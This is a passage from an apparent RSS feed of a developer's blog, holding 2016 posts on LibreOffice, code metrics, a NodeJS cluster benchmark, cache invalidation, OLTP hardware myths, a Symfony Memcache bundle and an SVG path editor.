wonder why Microsoft is doing this as it is clearly hurting their product.</p>
<h3 id="steady-improvements">Steady improvements</h3>
<p>LibreOffice on the other hand makes small incremental steps that you hardly
notice. It has a
<a href="https://wiki.documentfoundation.org/ReleasePlan">release schedule</a> in which a
minor updates (like the ones above) are scheduled every 5 months and each minor
version has a 10 months of support with bugfixes. It makes no bold moves in the
UI or the feature set, therefore being a much better choice for professionals
that cannot be bothered by relearning their Office suite every 2 years.</p>
<h3 id="available-on-windows-and-osx">Available on Windows and OSX</h3>
<p>LibreOffice is part of most Linux repositories, but is also available for
Windows and OSX. I highly recommend you to use it on these platforms as well.</p>
<p><a href="https://www.libreoffice.org/download/libreoffice-fresh/?version=5.2&amp;lang=en-US#change">Download LibreOffice 5.2</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Features are an asset, code a liability</title>
      <link>https://www.tqdev.com/2016-features-are-an-asset-code-a-liability/</link>
      <pubDate>Thu, 04 Aug 2016 13:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-features-are-an-asset-code-a-liability/</guid>
      <description>&lt;p&gt;Lines of code shouldn&amp;rsquo;t be used to measure productivity, but it is a very good
metric that tells you a lot about the state of the project. Especially when
separated into testing and non-testing code and combined with number of
features. I think that if you manage to add a requested/desired (!) feature
without adding too many lines of code you are doing a good job. A project should
also have a decent amount of code dedicated to automatic testing. Next to that
active monitoring and automatic bug reporting are required to run a smooth web
application.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Lines of code shouldn&rsquo;t be used to measure productivity, but it is a very good
metric that tells you a lot about the state of the project. Especially when
separated into testing and non-testing code and combined with number of
features. I think that if you manage to add a requested/desired (!) feature
without adding too many lines of code you are doing a good job. A project should
also have a decent amount of code dedicated to automatic testing. Next to that
active monitoring and automatic bug reporting are required to run a smooth web
application.</p>
<h3 id="dry-ing-out">DRY-ing out</h3>
<p>I think lines of code are a good metric, but on the other hand I am a strong
dis-believer of Don&rsquo;t Repeat Yourself (DRY). The over-zealous implementation of
that philosophy leads to wrong abstractions and wrong abstractions are way worse
than duplicated code. NB: Note that abstraction is a weird, but common, term for
refactoring duplicated code out into re-usable functions. Actually I believe
that code duplication leads to learning you the right abstraction. You may quote
me:</p>
<blockquote>
<p>&ldquo;A little code duplication is preferable over an early abstraction&rdquo;</p></blockquote>
<p>Refactoring on the first code duplication is hardly possible as you have not yet
learned enough about what generic functionality is and what specific is to the
occurrence. Refactoring again on the third and fourth use of a certain algorithm
would indeed help, but does not make sense in the real world as it would be hard
to justify the costs involved. In reality that does not happen and people end up
with a poorly chosen abstraction.</p>
<h3 id="lines-of-test-code">Lines of (test) code</h3>
<p>The number of lines of test code in relation to the source code shows whether or
not there is a balance between the effort in testing and building features. I
feel a healthy project has about 25% of the code base consisting of test code.
This is just a rough feeling for a typical web application where only a few
pages are of critical importance and thus the effort for most pages is limited.</p>
<p>For most web applications it makes more sense to write functional tests than to
write unit tests. Reason is that functional tests require less maintenance as
they simply test the entire functionality, allowing you to refactor certain
components or even the relationship between components without having to do
maintenance on the tests. You may quote me:</p>
<blockquote>
<p>&ldquo;High level functional tests are preferable in web applications over unit
tests as they (generally) provide more certainty when refactoring.&rdquo;</p></blockquote>
<p>When you want absolutely none of the behaviour of a component to change and the
component is critical and complicated then unit tests make sense, but when you
are talking about forms in your business application it often is enough to test
the happy flow, which is not much work and provides great certainty about the
functionality of your application. Especially when you combine 100% happy flow
testing with active monitoring and automatic bug reporting when error pages are
served.</p>
]]></content:encoded>
    </item>
    <item>
      <title>High performance JavaScript web service using Cluster</title>
      <link>https://www.tqdev.com/2016-high-performance-javascript-web-cluster/</link>
      <pubDate>Mon, 01 Aug 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-high-performance-javascript-web-cluster/</guid>
      <description>&lt;p&gt;You can&amp;rsquo;t start a discussion nowadays about high traffic web services or
somebody will bring up NodeJS and it marvelous performance. Skeptic as I am I
test these claims before I believe them. The following code runs pretty fast on
my machine, but only uses one core of my CPU:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;http&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;require&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;http&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;createServer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;req&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;writeHead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;hello world\n&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}).&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;listen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;8000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I ran the following Apache Bench command to test the performance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ab -n 200000 -c 100 http://localhost:8000/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It actually performs pretty good at 15k rps using one CPU core at 100%. This is
half the rps compared to Go, mod_php or Jetty, but those all use multiple cores
and for one core this measurement is pretty impressive. So much of the claim is
true (on one core).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You can&rsquo;t start a discussion nowadays about high traffic web services or
somebody will bring up NodeJS and it marvelous performance. Skeptic as I am I
test these claims before I believe them. The following code runs pretty fast on
my machine, but only uses one core of my CPU:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">http</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;http&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">http</span><span class="p">.</span><span class="nx">createServer</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">writeHead</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s2">&#34;hello world\n&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}).</span><span class="nx">listen</span><span class="p">(</span><span class="mi">8000</span><span class="p">);</span>
</span></span></code></pre></div><p>I ran the following Apache Bench command to test the performance:</p>
<pre><code>ab -n 200000 -c 100 http://localhost:8000/
</code></pre>
<p>It actually performs pretty good at 15k rps using one CPU core at 100%. This is
half the rps compared to Go, mod_php or Jetty, but those all use multiple cores
and for one core this measurement is pretty impressive. So much of the claim is
true (on one core).</p>
<h3 id="nodejs-cluster-for-multi-core">NodeJS Cluster for multi core</h3>
<p>Okay, now let&rsquo;s apply <a href="https://nodejs.org/api/cluster.html">clustering</a> to use
all cores/CPUs:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">cluster</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;cluster&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">http</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;http&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">numCPUs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;os&#34;</span><span class="p">).</span><span class="nx">cpus</span><span class="p">().</span><span class="nx">length</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">cluster</span><span class="p">.</span><span class="nx">isMaster</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Fork workers.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">numCPUs</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">cluster</span><span class="p">.</span><span class="nx">fork</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">cluster</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s2">&#34;exit&#34;</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">worker</span><span class="p">,</span> <span class="nx">code</span><span class="p">,</span> <span class="nx">signal</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;worker ${worker.process.pid} died&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Workers can share any TCP connection
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// In this case it is an HTTP server
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">http</span><span class="p">.</span><span class="nx">createServer</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">writeHead</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s2">&#34;hello world\n&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}).</span><span class="nx">listen</span><span class="p">(</span><span class="mi">8000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>I must be doing something wrong as there was no performance improvement on my
machine. On the contrary: total performance even went down from 15k rps to 12k
rps using multiple CPU cores!</p>
<h3 id="advantages-of-using-nodejs">Advantages of using NodeJS</h3>
<p>Although it may not be as fast as Java or Go, NodeJS does still have an
impressive set of advantages to be your favorite choice:</p>
<ol>
<li>No compilation: NodeJS is a scripting language.</li>
<li>Popular language that can be used in front-end and back-end alike.</li>
<li>Easy to install, easy to run and easy to deploy, great for quick prototyping.</li>
</ol>
<p>But if you want to build a mature high performance micro-service I would still
choose a compiled language, because even if you would be able to achieve the
same request rate in a &lsquo;hello world&rsquo; example, then you actual business logic
will be heavier in JavaScript than in a compiled language (such as Go).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Active cache invalidation is an anti-pattern</title>
      <link>https://www.tqdev.com/2016-active-cache-invalidation-anti-pattern/</link>
      <pubDate>Fri, 29 Jul 2016 13:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-active-cache-invalidation-anti-pattern/</guid>
      <description>&lt;p&gt;I strongly believe that active cache invalidation is an anti-pattern, a symptom
of bad software architecture. In this post I will sum up the reasons people give
for explicit cache purging and explain what&amp;rsquo;s wrong with them. It is not wrong
to allow purging of the cache manually and &lt;em&gt;by exception&lt;/em&gt;, but it is wrong when
cache invalidating is part of the algorithm. The rule of thumb is: your software
should not delete from the cache during normal operation.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I strongly believe that active cache invalidation is an anti-pattern, a symptom
of bad software architecture. In this post I will sum up the reasons people give
for explicit cache purging and explain what&rsquo;s wrong with them. It is not wrong
to allow purging of the cache manually and <em>by exception</em>, but it is wrong when
cache invalidating is part of the algorithm. The rule of thumb is: your software
should not delete from the cache during normal operation.</p>
<h3 id="i-want-my-cache-to-be-fully-consistent">I want my cache to be fully consistent</h3>
<p>You may, for instance, store a record both in MySQL and in Memcache. When
reading you may only need to read from Memcache and not from MySQL. This seems a
good idea as this is both consistent (using a relational database) and high
performance (using an in-memory key-value store). In fact this is the
<a href="https://en.wikipedia.org/wiki/Inner-platform_effect">inner-platform effect</a> at
play, because MySQL already has an (in memory) query cache that is optimized to
be both high performance and consistent. If you feel the MySQL read or write
performance is not high enough you should read it&rsquo;s manual and find out which
settings to tune to trade memory use or consistency for more performance. As a
start you may look at &ldquo;<code>innodb_buffer_pool_size</code>&rdquo; and
&ldquo;<code>innodb_flush_log_at_trx_commit</code>&rdquo; to improve read and write performance.</p>
<h3 id="i-sometimes-delete-to-be-more-consistent">I sometimes delete to be more consistent</h3>
<p>If you know for sure that the cache is no longer valid you may as well delete
it&rsquo;s value right? Although this for sure reduces the average age of the cache,
you can also achieve a lower average age by a lowering the expiration time on
the cached data. The advantage is that a lower expiration time guarantees a
lower (maximum) age of the cache entry, while deleting in certain cases, does
lower the average age, but does not lower the guaranteed (maximum) age. The
bottom line is that you should set your cache expiration high enough so that the
performance improves, but not so high that you are serving data that is older
than the maximum acceptable age.</p>
<h3 id="i-delete-to-control-when-my-cache-will-expire">I delete to control when my cache will expire</h3>
<p>This may be far fetched, but one could clear the cache before a peak load in
order to ensure that a heavy used cache key does not expire during peak load.
This sounds like a good idea as an expiring cache key can have an escalating
effect called a &ldquo;<a href="https://en.wikipedia.org/wiki/Cache_stampede">cache stampede</a>&rdquo;
(also known as &ldquo;thundering herd&rdquo; or &ldquo;dog piling&rdquo;). The correct solution to this
problem is not to delete the cache entries, but to serve &ldquo;stale&rdquo; (expired)
entries while recalculating. Key to this algorithm is that the first cache miss
signals other processes that it will recalculate the cache value and that other
for now can continue to serve the expired entry. This algorithm is implemented
in <a href="https://github.com/mevdschee/TqdMemcacheBundle">TqdMemcacheBundle</a> in the
functions &ldquo;getAdp&rdquo; and &ldquo;setAdp&rdquo;.</p>
<h3 id="performance-and-consistency">Performance and consistency</h3>
<p>Battle tested software is often properly optimized, hence it does not make sense
to try to be &ldquo;smart&rdquo;. It will most probably lead to non-optimal duplicated
functionality of your data storage. Whenever you seem to achieve better
performance you are in fact trading consistency for performance. Most advanced
data stores have built-in functionality that allows you to configure this
trade-off. But configuring this behaviour does require you to read the manual,
something most engineers are not fond of.</p>
]]></content:encoded>
    </item>
    <item>
      <title>High performance OLTP myths busted</title>
      <link>https://www.tqdev.com/2016-high-performance-oltp-myths-busted/</link>
      <pubDate>Tue, 26 Jul 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-high-performance-oltp-myths-busted/</guid>
      <description>&lt;p&gt;When building high performance OLTP
(&lt;a href=&#34;https://en.wikipedia.org/wiki/Online_transaction_processing&#34;&gt;online transaction processing&lt;/a&gt;)
systems you need CPU and IOPS and preferably a whole lot of them. Alternatively
you can build a distributed system in the cloud. This will not work (as well)
and cloud providers will make you change to this losing strategy one or two
magnitudes too fast. That is an awful lot of development time wasted at a moment
you are still small and can&amp;rsquo;t afford to lose any. In this post I will bust the
common myths about the cloud and high performance OLTP systems.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When building high performance OLTP
(<a href="https://en.wikipedia.org/wiki/Online_transaction_processing">online transaction processing</a>)
systems you need CPU and IOPS and preferably a whole lot of them. Alternatively
you can build a distributed system in the cloud. This will not work (as well)
and cloud providers will make you change to this losing strategy one or two
magnitudes too fast. That is an awful lot of development time wasted at a moment
you are still small and can&rsquo;t afford to lose any. In this post I will bust the
common myths about the cloud and high performance OLTP systems.</p>
<h3 id="myth-you-need-to-scale-out-anyway">Myth: You need to scale out anyway.</h3>
<p>Scaling up means bigger boxes, while scaling out means more boxes to distribute
your load over. The argument that scaling out &ldquo;needs to be done anyway&rdquo; does not
make sense if you are going to scale out several magnitudes too soon. While you
are still growing you are benefiting most of flexibility and low cost of
software development that scaling up will bring. It allows for a setup with less
IT staff for maintenance, less software to enable distribution of your problem
and less complexity to deal with the reduced consistency that this distributed
system requires. Scaling out for High Availability only makes sense if your
infrastructure costs are significant, but not as long as it is still
incomparable to the IT salaries you have to pay. Because the difference between
N*2 and N+1 is unimportant when N is small or your total infrastructure costs
are (relatively) low.</p>
<h3 id="myth-we-have-already-tried-scaling-up-the-disk">Myth: We have already tried scaling up the disk.</h3>
<p>According to who? Your cloud provider? Most cloud providers tell you a SSD does
only limited amount of IOPS and even when you pay the highest price possible
they trick you into believing that
<a href="https://aws.amazon.com/ebs/details/">a consistent baseline performance of up to 30 IOPS/GB</a>
is good. Even my laptop holds a
<a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16820147467">Samsung 512GB M2 SSD</a>
which, according to specifications, does 300K IOPS on 512GB = 585 IOPS/GB
(twenty times more). In a server I would get myself a
<a href="http://www.newegg.com/Product/Product.aspx?Item=9SIA5EM2VX9471">Intel DC P3700 2.0TB</a>
that will not be limited to 20k IOPS or 320 MB/sec, like Amazon EBS, but to 460K
IOPS or 2800 MB/sec, according to specifications
<a href="http://ark.intel.com/products/79621/Intel-SSD-DC-P3700-Series-2_0TB-2_5in-PCIe-3_0-20nm-MLC">here</a>.
This should be the preferred storage for your OLTP database server, especially
at sizes up to 2TB and with the availability of a 2.5 inch model. Note that 460k
random 4k IOPS are not really comparable to the 20k 16k IOPS Amazon brags about.</p>
<h3 id="myth-we-are-already-using-e5-processors-in-our-cloud-instances">Myth: We are already using E5 processors in our cloud instances.</h3>
<p>You can easily get machines with 4 times a 10-core E7 on a single motherboard
like
<a href="https://www.leaseweb.com/nl/dedicated-server/configure/23698">this one from LeaseWeb</a>
that has 4(!)
<a href="http://ark.intel.com/products/75247/Intel-Xeon-Processor-E7-4830-v2-20M-Cache-2_20-GHz">E74830v2 CPUs</a>.
This means you have 40 real cores or 80 cores including hyper-threading. Some
providers have configurations with &ldquo;overbooked&rdquo; cores (this is for instance sold
as &ldquo;burst&rdquo; by Amazon). But even a so called &ldquo;m4.2xlarge&rdquo; instance (that has no
&ldquo;burst&rdquo;) on Amazon sports only 8 vCPU&rsquo;s. It is clearly explained on the Amazon
site that
<a href="https://aws.amazon.com/ec2/instance-types/">&ldquo;Each vCPU is a hyperthread of an Intel Xeon core&rdquo;</a>.
Still people get themselves these machines that cost them about 100 dollars a
month. This sounds not terrible expensive as ten of these instances should
perform as good as one big expensive machine, right?</p>
<h3 id="myth-ten-smaller-computers-are-a-good-as-one-big-machine">Myth: Ten smaller computers are a good as one big machine.</h3>
<p>With CPU and IOPS one and one is not two; it is more like one and a half. This
is because you cannot simply put half your database on a different machine and
expect your database lookups to be equally fast. If you would find a high
performance generic solution for this problem you&rsquo;d be rich, because there
isn&rsquo;t! This often means that you have to give up on consistency to be able to
achieve good scalable distribution. I guess only a few people realize that you
can also decide to give up on consistency to avoid distribution. Which may seem
to lead to the same result, but approaching the problem from another angle makes
all the difference. I have for instance seen high traffic websites run on a
simple 5 minute TTL round-robin DNS with a redirection service on each of the
nodes. All nodes hold all tiers (database, web server and storage) locally and
consists of a single machine in a specifically selected (geographically optimal)
data center.</p>
<h3 id="myth-the-performance-numbers-are-not-that-bad">Myth: The performance numbers are not that bad.</h3>
<p>People may say: The numbers provided are not that bad. But how about the numbers
that are not provided? Why don&rsquo;t they (Amazon for instance) report IOPS measured
in the standard block sizes of 4K random read and 4K random write? Where can I
find the average and guaranteed read and write latency? You might think that
read and write latency of remote storage compared to PCI-e connected local
storage would make a real difference, but it seems it doesn&rsquo;t. The PCI-e bus has
a guaranteed high throughput, but in my experience the latency seems not to be
limited by the network capacity or other shared infrastructure. On the other
hand saying that a disk is a
<a href="https://aws.amazon.com/ebs/details/">&ldquo;General Purpose SSD&rdquo;</a> makes me feel it
should perform with an equal amount of IOPS/second as the SSD in my laptop,
doesn&rsquo;t it? Well it certainly does not perform as well as you can read in
<a href="https://www.percona.com/blog/2016/06/01/use-provisioned-iops-volumes-for-aws/">this excellent post</a>
by Peter Zaitsev.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Symfony Memcache bundle v3 released</title>
      <link>https://www.tqdev.com/2016-symfony-memcache-bundle-v3-released/</link>
      <pubDate>Sat, 23 Jul 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-symfony-memcache-bundle-v3-released/</guid>
      <description>&lt;p&gt;I have released version 3 of the Symfony Memcache Bundle which is now renamed
from &amp;ldquo;LswMemcacheBundle&amp;rdquo; to &amp;ldquo;TqdMemcacheBundle&amp;rdquo;. I started the bundle to provide
mature cache management to Symfony2. It now supports Anti-Dog-Pile, session
locking, Doctrine query caching and other important features, such as server
pooling support and Windows compatibility.&lt;/p&gt;
&lt;h3 id=&#34;application-level-cache-in-php&#34;&gt;Application level cache in PHP&lt;/h3&gt;
&lt;p&gt;It can be important in a PHP based web application to apply aggressive
application level caching. PHP is not a fast language and many web applications
use the majority of the time to request, retrieve and transform data they
receive from the database. The results of this process are very suitable to be
cached in Memcache with a timeout that is specific to the data and it&amp;rsquo;s use.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have released version 3 of the Symfony Memcache Bundle which is now renamed
from &ldquo;LswMemcacheBundle&rdquo; to &ldquo;TqdMemcacheBundle&rdquo;. I started the bundle to provide
mature cache management to Symfony2. It now supports Anti-Dog-Pile, session
locking, Doctrine query caching and other important features, such as server
pooling support and Windows compatibility.</p>
<h3 id="application-level-cache-in-php">Application level cache in PHP</h3>
<p>It can be important in a PHP based web application to apply aggressive
application level caching. PHP is not a fast language and many web applications
use the majority of the time to request, retrieve and transform data they
receive from the database. The results of this process are very suitable to be
cached in Memcache with a timeout that is specific to the data and it&rsquo;s use.</p>
<h3 id="one-step-further">One step further</h3>
<p>This memcache bundle for symfony is great, but when combining it with Nginx you
can take it one step further. If you are running on Nginx (or openresty), then
your web server may make decisions based on Memcache data using the openresty
lua memcache module or the nginx memcache module. This may prevent requests from
hitting your PHP layer altogether, therefore allowing you achieve unparalleled
performance.</p>
<h3 id="philosophy-of-the-bundle">Philosophy of the bundle</h3>
<p>The bundle does not provide an abstraction of the caching provided by Memcache.
It allows you to use all it&rsquo;s features. The software exposes the Memcache object
&ldquo;as-is&rdquo; only adding some features (such as &ldquo;web debug toolbar&rdquo; and &ldquo;anti dog
pile&rdquo; support). Version 1 was based on the &ldquo;php-memcached&rdquo; extension, while
version 2 was based on the Windows compatible &ldquo;php-memcache&rdquo; extension (without
a &ldquo;d&rdquo;).</p>
<h3 id="links">Links</h3>
<p>Other articles I have written about this bundle are:</p>
<ul>
<li><a href="https://www.leaseweb.com/labs/2015/06/version-2-of-our-memcache-bundle-for-symfony-is-released/">Memcache Bundle for Symfony updated!</a></li>
<li><a href="https://www.leaseweb.com/labs/2013/10/symfony2-memcache-session-locking/">Symfony2 Memcache session locking</a></li>
<li><a href="https://www.leaseweb.com/labs/2013/03/avoiding-the-memcache-dog-pile-effect/">Avoiding the Memcache ‘dog pile’ effect</a></li>
<li><a href="https://www.leaseweb.com/labs/2013/03/memcache-support-in-symfony2-wdt/">Memcache bundle for Symfony2</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>SVG editing without Illustrator or Inkscape</title>
      <link>https://www.tqdev.com/2016-svg-editing-without-illustrator-or-inkscape/</link>
      <pubDate>Tue, 19 Jul 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-svg-editing-without-illustrator-or-inkscape/</guid>
      <description>&lt;p&gt;In order to make your HTML5 games responsive you may choose to create vector
graphics in SVG. The commercial Adobe Illustrator and open-source Inkscape
software can both be used for this job. I did not like these tools and decided
to create my own tool that stays very close to
&lt;a href=&#34;https://www.w3.org/TR/SVG/&#34;&gt;the W3C specification for SVG&lt;/a&gt; and allows for high
precision editing.&lt;/p&gt;
&lt;h3 id=&#34;writing-svg-by-hand&#34;&gt;Writing SVG by hand&lt;/h3&gt;
&lt;p&gt;Instead of using Inkscape I found myself writing SVG by hand using nothing more
than a text-editor and a browser. This was mainly because I did not like the
verbose Inkscape output of the SVG and that I had trouble making my vector
drawings properly symmetric and properly smooth by having symmetric control
points on connecting lines.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In order to make your HTML5 games responsive you may choose to create vector
graphics in SVG. The commercial Adobe Illustrator and open-source Inkscape
software can both be used for this job. I did not like these tools and decided
to create my own tool that stays very close to
<a href="https://www.w3.org/TR/SVG/">the W3C specification for SVG</a> and allows for high
precision editing.</p>
<h3 id="writing-svg-by-hand">Writing SVG by hand</h3>
<p>Instead of using Inkscape I found myself writing SVG by hand using nothing more
than a text-editor and a browser. This was mainly because I did not like the
verbose Inkscape output of the SVG and that I had trouble making my vector
drawings properly symmetric and properly smooth by having symmetric control
points on connecting lines.</p>
<h3 id="svg-path-types">SVG path types</h3>
<p>The most complex SVG vector part is the
<a href="https://www.w3.org/TR/SVG/paths.html#PathData">SVG path</a>. It allows for the
following path types:</p>
<ul>
<li>Move command (M). Move the cursor to a specific position.</li>
<li>Line command (L). A straight line from a start point to an end point.</li>
<li>Cubic Bézier commands (C and S). A cubic Bézier segment is defined by a start
point, an end point, and two control points.</li>
<li>Quadratic Bézier commands (Q and T). A quadratic Bézier segment is defined by
a start point, an end point, and one control point.</li>
<li>Elliptical arc command (A). An elliptical arc segment draws a segment of an
ellipse.</li>
</ul>
<p>The commands for the above path types all do not specify the start point as this
is the end point of the previous command and the first command must be a &ldquo;move&rdquo;
command.</p>
<ul>
<li>M x,y: Move to (x,y).</li>
<li>L x,y: Line to (x,y).</li>
<li>T x,y: Quadratic Bézier curve with symmetric control point to (x,y).</li>
<li>Q x1,y1 x,y: Quadratic Bézier curve curve with single control point (x1,y1) to
(x,y).</li>
<li>S x2,y2 x,y: Cubic Bézier curve with symmetric first control point and second
control point (x2,y2) to (x,y).</li>
<li>C x1,y1 x2,y2 x,y: Cubic Bézier curve with symmetric first and second control
points (x1,y1) and (x2,y2) to (x,y).</li>
<li>A rx,ry rotation,large,sweep x,y: Elliptical arc with x and y radius (rx,ry)
and options (rotation,large,sweep) to (x,y).</li>
</ul>
<p>NB: The above commands all have a &ldquo;relative&rdquo; variant where the coordinates are
specified as offsets related to the end point of the previous vector instead of
absolute coordinates.</p>
<h3 id="a-simple-svg-path-tool">A simple SVG path tool</h3>
<p>I decided to create a drawing tool that helps you build SVG using a graphical
editor. The difference with Inkscape is that it focuses on creating perfect SVG
paths. By showing the actual commands used it gives you more control over the
vectors you are drawing. I feel a &ldquo;perfect&rdquo; SVG path is the shortest path
specifying the shape, using symmetric control points where possible. The
coordinates should be rounded (preferably to multiples of 10) and the
coordinates should be symmetric where possible. By controlling the cursor with
the keyboard instead of the mouse it focuses on precision.</p>
<p><a href="https://cdn.rawgit.com/mevdschee/svg-draw-tool/master/index.html">Try the SVG draw tool online!</a></p>
<h3 id="source-code">Source code</h3>
<p>This is a very ambitious project, but I started it nevertheless and although it
is not finished yet, it may already be useful. I have put it
<a href="https://github.com/mevdschee/svg-draw-tool">on my Github</a> and I would very much
like contributions that help the tool to achieve the above goals.</p>
]]></content:encoded>
    </item>
    <item>
      <title>PyCon 2016: videos online</title>
